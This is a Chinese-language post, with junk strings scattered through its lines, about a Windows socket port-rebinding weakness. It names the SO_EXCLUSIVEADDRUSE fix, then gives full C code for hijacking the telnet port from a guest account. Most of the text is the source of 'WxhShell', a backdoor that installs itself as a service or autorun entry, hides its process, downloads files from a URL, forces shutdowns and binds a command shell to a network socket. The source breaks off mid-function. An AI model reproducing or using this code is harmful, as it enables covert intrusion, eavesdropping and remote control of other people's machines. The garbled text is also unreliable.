在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-\n@%$M]G s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
l?^4!&Nm @k/NY*+ saddr.sin_family = AF_INET;
g
SAt@2*U2 U~l$\c saddr.sin_addr.s_addr = htonl(INADDR_ANY);
BIWWMg P_p<`sC9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)D82N`c2\i M+9 gL3W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
#`X?=/q ApXy=?fc 这意味着什么?意味着可以进行如下的攻击:
:Qf '2.h) f.`*Qg L 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
78%~N`x7 'anG:= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
lR6x3C
H@ pQ<Y:-`c 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ig':%2V/ Oh\<VvZuN 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
A7hVHxNJ- 1q1jZqno 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
fLm*1S|%\ %\Mo-Ow!\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
6;qy#\}2 B[?CbU 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Y,e B| 0|\$Vp #include
~PahoRS #include
\qK&q #include
nSAdCJ;4 #include
wtV#l4 DWORD WINAPI ClientThread(LPVOID lpParam);
X<; f int main()
Jl9k``r* {
yU}qOgXx WORD wVersionRequested;
8d-t|HkN DWORD ret;
1"M]3Kl WSADATA wsaData;
:e%Pvk BOOL val;
1!T1Y,w SOCKADDR_IN saddr;
YNj`W1 SOCKADDR_IN scaddr;
{9aE5kR int err;
=;&yd';k SOCKET s;
pK'V9fD5J SOCKET sc;
0aa&m[Mk int caddsize;
(%W&4a1di HANDLE mt;
T+k{W6 DWORD tid;
M8b;d}XL wVersionRequested = MAKEWORD( 2, 2 );
(<oyN7NT err = WSAStartup( wVersionRequested, &wsaData );
?r 2` Q if ( err != 0 ) {
LRG6:& printf("error!WSAStartup failed!\n");
pWsDzb6?% return -1;
fG(SNNl+D }
T+K):ug saddr.sin_family = AF_INET;
P{+T<bk| 8j\cL' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
\:ak '' |(LZ9I saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
|:<f-j7t~ saddr.sin_port = htons(23);
zEy N) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8j %Tf; {
{_Rr 6 printf("error!socket failed!\n");
s^uS1 return -1;
K]"#C }
P8)=Kbd val = TRUE;
o,8TDg //SO_REUSEADDR选项就是可以实现端口重绑定的
Q_X.rUL0w if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
&_|#. {
"#oHYz3D printf("error!setsockopt failed!\n");
zZ323pq return -1;
ouFYvtF g }
]cMqahaY //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
f-n1I^| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
7.#F,Ue_0T //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
R1GEh&U{ 4X
|(5q? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
| Aw%zw1@ {
Qq;Foa
ret=GetLastError();
t+iHQfuP9A printf("error!bind failed!\n");
%H&@^Tt a return -1;
$!yW_HTx }
1@1U/ss1 listen(s,2);
=i*;VFc while(1)
0dhaAq`k {
#(JNn'fzq caddsize = sizeof(scaddr);
4 k _vdz //接受连接请求
.QJ5sgmh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
c~uKsU if(sc!=INVALID_SOCKET)
4f'V8|QM{ {
,+xB$e mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
c>RFdc:U if(mt==NULL)
F!Q@u {
jQ printf("Thread Creat Failed!\n");
&Ao+X=qw break;
u5: q$P }
/qGf 1MHD }
~%=MpQ3 CloseHandle(mt);
5r8<7g:>C }
lP@Ki5 closesocket(s);
pd;br8yE$@ WSACleanup();
(ECnMti+ return 0;
^xh ; }
_i|t
Y4L DWORD WINAPI ClientThread(LPVOID lpParam)
3ojlB |Z {
% <*g!y ` SOCKET ss = (SOCKET)lpParam;
1@R
Db)<V SOCKET sc;
d>fkA0G/9! unsigned char buf[4096];
R:k5QD9/&p SOCKADDR_IN saddr;
N@1+O,o long num;
oxkoA DWORD val;
pDIVZC DWORD ret;
_5# y06Q //如果是隐藏端口应用的话,可以在此处加一些判断
2fR02={- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
2Mmz %S'd saddr.sin_family = AF_INET;
khrb-IY@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
s,=i_gyPQ saddr.sin_port = htons(23);
orfO^;qTY if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/!$c/QZ {
U4-g^S[ printf("error!socket failed!\n");
ZUR6n>r return -1;
D.Q=]jOs }
JB`\G=PiL val = 100;
Q/_f
zg if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`-l6S {
DhT>']Z ret = GetLastError();
v` 7RCg` return -1;
OJ$]V,Z00x }
-[!P!d= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$[&*Bj11Yg {
G<f@#[$' ret = GetLastError();
af+IP_6
. return -1;
vbBc}G"w }
FCuB\Q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
3`.7<f` {
2.zsCu4lj. printf("error!socket connect failed!\n");
%_L\z*+ closesocket(sc);
/8g^T") closesocket(ss);
Q&g^c2 return -1;
[[Fx[ }
pDcjwlA% while(1)
/[)qEl2]K {
5sJJGv#6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
rIhl.5Y //如果是嗅探内容的话,可以再此处进行内容分析和记录
i2(1ki/|O //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
s,n0jix@ num = recv(ss,buf,4096,0);
FPI;Jx6W' if(num>0)
^[XYFQ TL send(sc,buf,num,0);
#Av.iAs else if(num==0)
}36QsH8 break;
;u(<h?%e num = recv(sc,buf,4096,0);
A"D,Kg
S if(num>0)
b7tOo7a H) send(ss,buf,num,0);
: b~6i%b else if(num==0)
[4C:r! break;
#K Xa&C }
;b(p=\i closesocket(ss);
,%Up0Rr, closesocket(sc);
MP 2~;T}~ return 0 ;
"7V2lu }
~-m " \z7SkZt,GT fCtPu08{Z ==========================================================
<-S%kA8 a@* S+3 下边附上一个代码,,WXhSHELL
";Rtiiu $8[r9L!
==========================================================
}S$@ Ez6 UE ,t8j #include "stdafx.h"
x{c/$+Z[ 4NG?_D5& #include <stdio.h>
WRDjh7~Efn #include <string.h>
.Pw\~X3! #include <windows.h>
:!b'Vk #include <winsock2.h>
5<j%EQN|D #include <winsvc.h>
FR!? #! #include <urlmon.h>
P2'DD 3 !0C^TCuG #pragma comment (lib, "Ws2_32.lib")
sWblFvHqrU #pragma comment (lib, "urlmon.lib")
SD$h@p=!= bk^TFE1l #define MAX_USER 100 // 最大客户端连接数
J6G(_(d #define BUF_SOCK 200 // sock buffer
E7)=`kSl #define KEY_BUFF 255 // 输入 buffer
ez!C? 8o0%@5M #define REBOOT 0 // 重启
09kt[
#define SHUTDOWN 1 // 关机
h!:~f-@j4 ]U7KLUY>: #define DEF_PORT 5000 // 监听端口
q)vplV1A /2Bi@syxK #define REG_LEN 16 // 注册表键长度
?6jkI2w #define SVC_LEN 80 // NT服务名长度
K/=_b< :`2=@ . // 从dll定义API
ZRVT2VfN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
15o?{=b[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
d[^~'V typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
-s$F&\5by typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
QtqfG{ 0,rTdjH7 // wxhshell配置信息
\qR %%S struct WSCFG {
ADk8{L{UU int ws_port; // 监听端口
H0R&2#YD char ws_passstr[REG_LEN]; // 口令
aKJQm'9Ks int ws_autoins; // 安装标记, 1=yes 0=no
R%
,<\d7 char ws_regname[REG_LEN]; // 注册表键名
ZwerDkd char ws_svcname[REG_LEN]; // 服务名
NDAw{[.% char ws_svcdisp[SVC_LEN]; // 服务显示名
#\ n8M char ws_svcdesc[SVC_LEN]; // 服务描述信息
0#*#a13 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]
0m&(9 int ws_downexe; // 下载执行标记, 1=yes 0=no
3lq Mucr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
TkO[rAC char ws_filenam[SVC_LEN]; // 下载后保存的文件名
7ei|XfR 3^~KB'RZ };
V{&rQ@{W `TPOCxM Mo // default Wxhshell configuration
\3jW~FV struct WSCFG wscfg={DEF_PORT,
9{8GP "xuhuanlingzhe",
$gM8{.! 1,
<K4,7J$}h "Wxhshell",
ZzBQe "Wxhshell",
STw#lU) %( "WxhShell Service",
(q7
Ry4- "Wrsky Windows CmdShell Service",
\7
NpT}dj "Please Input Your Password: ",
U(;&(W"M
1,
aCxE5$~$ "
http://www.wrsky.com/wxhshell.exe",
-+em!g' "Wxhshell.exe"
'EfR|7m };
4r0b)Y&I k8uvNLA)a // 消息定义模块
{E0z@D)U- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5pRV3K{H char *msg_ws_prompt="\n\r? for help\n\r#>";
j]m|7] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ed_FiQd char *msg_ws_ext="\n\rExit.";
zb
Z4|_ char *msg_ws_end="\n\rQuit.";
mTEx,
char *msg_ws_boot="\n\rReboot...";
.pvV1JA' char *msg_ws_poff="\n\rShutdown...";
RTu4@7XP char *msg_ws_down="\n\rSave to ";
wgRsZ T}=>C+3r char *msg_ws_err="\n\rErr!";
awUx=%ERtA char *msg_ws_ok="\n\rOK!";
4~OQhiJ BMIyskl=i char ExeFile[MAX_PATH];
@IP)S[^' t int nUser = 0;
nbTVU+ HANDLE handles[MAX_USER];
y{a$y}7#X int OsIsNt;
.+([ ^+9sG$T_EV SERVICE_STATUS serviceStatus;
3u\;j; Td! SERVICE_STATUS_HANDLE hServiceStatusHandle;
iIGbHn,/ d@3}U6, // 函数声明
Vax^8 - int Install(void);
ZB[Qs int Uninstall(void);
s{4 \xAS> int DownloadFile(char *sURL, SOCKET wsh);
?`Y\)'} int Boot(int flag);
<x),,a=X void HideProc(void);
:g\rQazxO int GetOsVer(void);
A=-F,=k(!/ int Wxhshell(SOCKET wsl);
gxGrspqg void TalkWithClient(void *cs);
kzS=g|_ int CmdShell(SOCKET sock);
^v@4|E$ int StartFromService(void);
N9rBW int StartWxhshell(LPSTR lpCmdLine);
O!Z|r? @v*/R%rv t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
5Fm=/o1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
|uH%6&\ m3g2b _; // 数据结构和表定义
`ZaT}#Y SERVICE_TABLE_ENTRY DispatchTable[] =
M#@aB"@J> {
l"zUv {wscfg.ws_svcname, NTServiceMain},
/)rkiwp {NULL, NULL}
DBs*Fx[ };
1]T`n /d V .~gl19#:T // 自我安装
nB ". '= int Install(void)
Jj^GWZRu {
Z_1*YRBY; char svExeFile[MAX_PATH];
(:+>#V)pZ HKEY key;
T^} strcpy(svExeFile,ExeFile);
l**;k+hw RP`2)/sMT // 如果是win9x系统,修改注册表设为自启动
p=QYc)3F if(!OsIsNt) {
<vbIp& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%AnW~v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y3ZK%OyPR RegCloseKey(key);
J%]D%2vnk` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^5 t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'?yCq$& RegCloseKey(key);
Ab1/.~^ return 0;
BD#.-xWV }
>uI$^y1D }
AP\ofLmq }
I6LD)? else {
SgE/!+{ =BZ?- mIU // 如果是NT以上系统,安装为系统服务
XO
F1c3'H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#m8sK(#lo if (schSCManager!=0)
p'{xoV {
})IO#, SC_HANDLE schService = CreateService
Q:|w%L*E
(
"MiD8wX- schSCManager,
:'r6TVDW wscfg.ws_svcname,
Y+/lX 6' wscfg.ws_svcdisp,
R& =f:sEi SERVICE_ALL_ACCESS,
8"vwU@cfC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
>LF&EM] SERVICE_AUTO_START,
Ok%}|/P4 SERVICE_ERROR_NORMAL,
'?GQ~Bf<> svExeFile,
|@o6NZ<9N NULL,
xkA2g[ NULL,
.]}N55M NULL,
zSjgx_#U NULL,
- &[z\"T NULL
K.SeK3( );
(w2=
2$ if (schService!=0)
'?Iif#Z1 {
$rG<uO CloseServiceHandle(schService);
B">yKB:D}t CloseServiceHandle(schSCManager);
3An(jt$%Q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
5`E))?*"Pe strcat(svExeFile,wscfg.ws_svcname);
\T-~JQVj if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`HX3|w6W; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[D'Gr*5~{ RegCloseKey(key);
3LlU] return 0;
px9>:t[P }
[B?z1z8l }
f e
$Wu CloseServiceHandle(schSCManager);
O(OmGu4% }
n!N\zx8 }
(3EUy"z- /b.oEGqZX return 1;
Y&'8VdW }
N)43};e =V^@%YIn // 自我卸载
ur2!#bU9 int Uninstall(void)
xKJ>gr"w# {
ibF#$&! HKEY key;
En9R>A;` %3a|<6 if(!OsIsNt) {
Wtv#h~jy9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[l[{6ZXt RegDeleteValue(key,wscfg.ws_regname);
"'eWn6O( RegCloseKey(key);
pX<a2FP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S>ugRasZ$ RegDeleteValue(key,wscfg.ws_regname);
Vf{2dZZ{1 RegCloseKey(key);
Xi~9&ed#$i return 0;
PX 3 }
h}=M^SL }
&P n] }
Z|`fHO3j else {
=%h~/, S]yvMj_? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#Mi|IwL if (schSCManager!=0)
{~GR8
U {
WaYO1*= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
FWTx&Ip if (schService!=0)
1| xN%27> {
|ft:|/^F& if(DeleteService(schService)!=0) {
}h~'AM CloseServiceHandle(schService);
/=
^L
iP CloseServiceHandle(schSCManager);
9!t4> return 0;
_IYY08&(r }
t>U!Zal" CloseServiceHandle(schService);
u3wL<$2[8 }
X7e/:._SAH CloseServiceHandle(schSCManager);
sA_X<>vAKJ }
R[yL_> }
z
Z%/W)t )bYez return 1;
H%Y%fQ~^ }
dB`b9)Tk0z IH3FK!>6 // 从指定url下载文件
<-|SIF int DownloadFile(char *sURL, SOCKET wsh)
`)tK^[,<W {
98<zCSe\] HRESULT hr;
C.E[6$oVc char seps[]= "/";
`$9L^Yg,4 char *token;
31 ]7z char *file;
4Vx+[8W char myURL[MAX_PATH];
9U10d&M( char myFILE[MAX_PATH];
!Y%D
9 >0T3'/k<H strcpy(myURL,sURL);
%vc'{`P token=strtok(myURL,seps);
MxN]7 while(token!=NULL)
*tAqt2{48 {
=8S}Iat file=token;
1b`G2?% token=strtok(NULL,seps);
&PWf:y{R` }
x<Se>+
{Tx 3$eU GetCurrentDirectory(MAX_PATH,myFILE);
H^v{Vo strcat(myFILE, "\\");
n^6TP'r strcat(myFILE, file);
0Uaem send(wsh,myFILE,strlen(myFILE),0);
J3\)Jy send(wsh,"...",3,0);
/'+4vXc@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
0=,'{Vz}A if(hr==S_OK)
&enlAV'#)O return 0;
s=\7)n=,M else
*eoq=,O return 1;
mCrU//G -4`sqv ] }
QX/]gX 3YRBI|XO // 系统电源模块
;@'0T4Z&l int Boot(int flag)
dMgbW<uAu {
WH;xq^ HANDLE hToken;
sbjtL, TOKEN_PRIVILEGES tkp;
`]LODgk~ h*waRD if(OsIsNt) {
a^*B5G1(& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
`7>K1slQ}S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ws().IZ tkp.PrivilegeCount = 1;
[EOMCH2Ki tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
w}b<D#0XC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
GFY-IC+fc if(flag==REBOOT) {
'Ix5,^M}B if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
g$gVm:= return 0;
V*kznm }
j%GbgJ else {
{"\q(R0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
N
I3( return 0;
*e, CDV }
:28@J?jjO }
S
`wE$so> else {
S r[IoF) if(flag==REBOOT) {
9 G((wiE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
!
fX9*0L return 0;
ty9rH=1 }
Z#@6#S` else {
5#BF,-Jv if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
>VypE8H]x return 0;
9$EHK }
r"1A`89 }
c_[ JjG^?P XNK
43fkB. return 1;
e)br`CD% }
M;> ha,x |H<|{{E // win9x进程隐藏模块
*\C}Ok= void HideProc(void)
}RH lYN {
<f[9j u +%x^ RV} HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
4KZ SL:A if ( hKernel != NULL )
w8U2y/:> {
<xC:Ant pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Fv;u1Atiw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
vFR
1UPF FreeLibrary(hKernel);
#[C<
J#; }
=sL(^UISl Age-AJ return;
4'_L W?DS }
s"#CkG M$gvq:}kt // 获取操作系统版本
# e$\~c Pd int GetOsVer(void)
Y]?Kqc {
]C+eJ0"A OSVERSIONINFO winfo;
[3GKPX:OA/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
-uO%[/h;N GetVersionEx(&winfo);
iczs8gj* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
-.^@9
a> return 1;
?V.ig else
W6hNJb return 0;
'wegipK~R }
QZqpF9Eu ZyZl\\8U // 客户端句柄模块
KhLg*EL int Wxhshell(SOCKET wsl)
Mi_[9ku>% {
9#s,K! !3{ SOCKET wsh;
nz}]C04:- struct sockaddr_in client;
jg7d7{{SB DWORD myID;
aYqqq| x0y%\ while(nUser<MAX_USER)
IQo]9Lx {
DI L)7K4 int nSize=sizeof(client);
=lYvj wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;CLR{t(N#V if(wsh==INVALID_SOCKET) return 1;
ngtuYASc LqMe'z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
7 _X&5ni if(handles[nUser]==0)
;|2Uf closesocket(wsh);
C+}CU} else
zUvB0\{q nUser++;
i%#th'C!P }
5R$=^gE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
:Fw *r| ,P;8 }yQ return 0;
%?U"[F1 }
=]8f"wAh* fp`U?S6 // 关闭 socket
c-?
Ygr void CloseIt(SOCKET wsh)
1x^W'n,HtK {
7
3H@kf closesocket(wsh);
dOYlI`4 nUser--;
E!r4AjaC ExitThread(0);
ddGkk@CA }
O8!!UA8V l#mqV@?A~ // 客户端请求句柄
JDIz28 Ww void TalkWithClient(void *cs)
X`8Y[Vb3}
{
pT|./ Fe H&"_} SOCKET wsh=(SOCKET)cs;
(or =f` char pwd[SVC_LEN];
qpH j4 char cmd[KEY_BUFF];
/&y,vkZTT char chr[1];
@^w!% ?J int i,j;
n=lggBRx c80"8r while (nUser < MAX_USER) {
DN2hv2 KFCQYdI`d if(wscfg.ws_passstr) {
Zw3hp,P] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
tyBg7dP //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F(0pru4u //ZeroMemory(pwd,KEY_BUFF);
a,en8+r] i=0;
#c8" while(i<SVC_LEN) {
C?_t8G./_ D3,t6\m // 设置超时
LR
8e|H0 fd_set FdRead;
1\"BvFE*E~ struct timeval TimeOut;
s>[vT? FD_ZERO(&FdRead);
>KH(nc$ FD_SET(wsh,&FdRead);
$Qx(aWE0 TimeOut.tv_sec=8;
M%nZu{ TimeOut.tv_usec=0;
V}3~7( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
6%Cna0x:& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
b}"vIRz 6
d{D3e[p^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Y9lbf_51 pwd
=chr[0]; *J*zml3
if(chr[0]==0xd || chr[0]==0xa) { ;h*"E(Pp
pwd=0; )o}=z\M-bN
break; uC <|T
} &q"uy:Rd
i++; 7KYF16A4
} EX[l0]fj
v=8~ZDY
// 如果是非法用户,关闭 socket x_>"Rnv:K
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); see'!CjVo2
} "N=&4<]I5
:6HiP&<
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z^SN#v$
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'Gm!Jblo@
K~9 jin
while(1) { am)J'i,
j$JV(fz
ZeroMemory(cmd,KEY_BUFF); jHUz`.8B
:Kt mSY
// 自动支持客户端 telnet标准 }J4BxBuV8
j=0; |iF1A
while(j<KEY_BUFF) { Hf`&&
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l.Lc]ZpB
cmd[j]=chr[0]; {#d`&]
if(chr[0]==0xa || chr[0]==0xd) { Jf8'N
ot
cmd[j]=0; &El[
break; u8$~N$L
} PhI{3B/
j++; 123-i,epg
} 42H#n]Y
-qr:c9\px
// 下载文件 'p{Y{
$Q
if(strstr(cmd,"http://")) { +LU ).
send(wsh,msg_ws_down,strlen(msg_ws_down),0); j+ T\c2d
if(DownloadFile(cmd,wsh)) cmC&s'/8`D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TO;]9`~;Mu
else 3mnL V*aRt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J>&dWKM3
} ~>wq;T:=
else { +O%a:d%
Qr xO
erp
switch(cmd[0]) { yp7,^l
Phjf$\pt
// 帮助 [eTck73
case '?': { kdZ-<O7@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y7IlqC`i
break; V0wC@?
} .(.G`aKnF
// 安装 gP"Mu#/D
case 'i': { ABS
BtH ?
if(Install()) T<_1|eH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e^K=8IW
else Yc( )'6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A?<"^<A^
break; gJ}'O4*b
} ;L/T}!Dx
// 卸载 m'vOFP)'
case 'r': { I$sm5oL
if(Uninstall()) EXScqGa]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OYCFx2{
else YfYL?G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u8)r
W
break; ;z=C^'
} :8/M6-EK
// 显示 wxhshell 所在路径 d+wNGN
case 'p': { R;I-IZS:
char svExeFile[MAX_PATH]; P+h<{%:*
strcpy(svExeFile,"\n\r"); l2_E6U"
strcat(svExeFile,ExeFile); 5&7?0h+I
send(wsh,svExeFile,strlen(svExeFile),0); RM=+ZmA
break; xsypIbN
} 2%, ' }Bus
// 重启 mZ.6Njb
case 'b': { "{1}
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fCo2".Tk
if(Boot(REBOOT)) r E*u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X<bj2 w
else { ;Z<*.f'^fc
closesocket(wsh); {b8 Y-
ExitThread(0); QRc=-Wu_(
} w6%CBE2
break; Ab|NjY:
} bTYP{x~ y
// 关机 0GLB3I >
case 'd': { b`%e{99\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xf/<.5A
if(Boot(SHUTDOWN)) 7|?@\ZE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [,V92-s;N
else { 6P[O8
closesocket(wsh); /[|md0,
ExitThread(0); 'm.XmVZL%
} t7`Pw33#kY
break; a!]QD`
} '/)_{Ly
// 获取shell +,w|&y
case 's': { iZqFVr&JF
CmdShell(wsh); o+WrIAR
closesocket(wsh); .A f)y_
ExitThread(0); YSUH*i/%
break; pzp"NKxi
} Zvw3C%In
// 退出 9MlfZsby
case 'x': { }qX&*DU_@
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 74N\G1
CloseIt(wsh); Bwvc@(3v
break; [Z&s0f1Qb
} | gxB;
GG
// 离开 kj"_Y"q=
case 'q': { WX$^[^=HC
send(wsh,msg_ws_end,strlen(msg_ws_end),0); rMFf8D(Y
closesocket(wsh); (N>ew)Ke
WSACleanup(); CX2q7azG
exit(1); a[9OtZX<
break; uS10P7N}
} 9>Z#o<*_/
} ])";Z
} YQd&rkr
bI0+J)
// 提示信息 &:{yf=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,>EY9j
} K>~cY%3^i
} EJ|ZZYke!
!ZcALtq
return; Cjb p-
} !ef)Ra-W
V0&QEul
// shell模块句柄 X-^Oz@.>
int CmdShell(SOCKET sock) 8o!^ZOmU<
{ y#W8] <dS"
STARTUPINFO si; :fQ*'m,
ZeroMemory(&si,sizeof(si)); e?fjX-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KFrmH
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AxQ/
PROCESS_INFORMATION ProcessInfo; yodrX&"
char cmdline[]="cmd"; OnJSu
z>-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9Qd'=JQl
return 0; *qOCo_=P8
} ;a77YLTQ
&3/H
P)*<]
// 自身启动模式 YLd%"H $n
int StartFromService(void) `I<|*vW
u
{ enepAu-="p
typedef struct O!yn
`<l
{ ^^(ZK 6 d
DWORD ExitStatus; _!Q\Xn
DWORD PebBaseAddress; akoKx)(<
DWORD AffinityMask; Zdz GJ[$
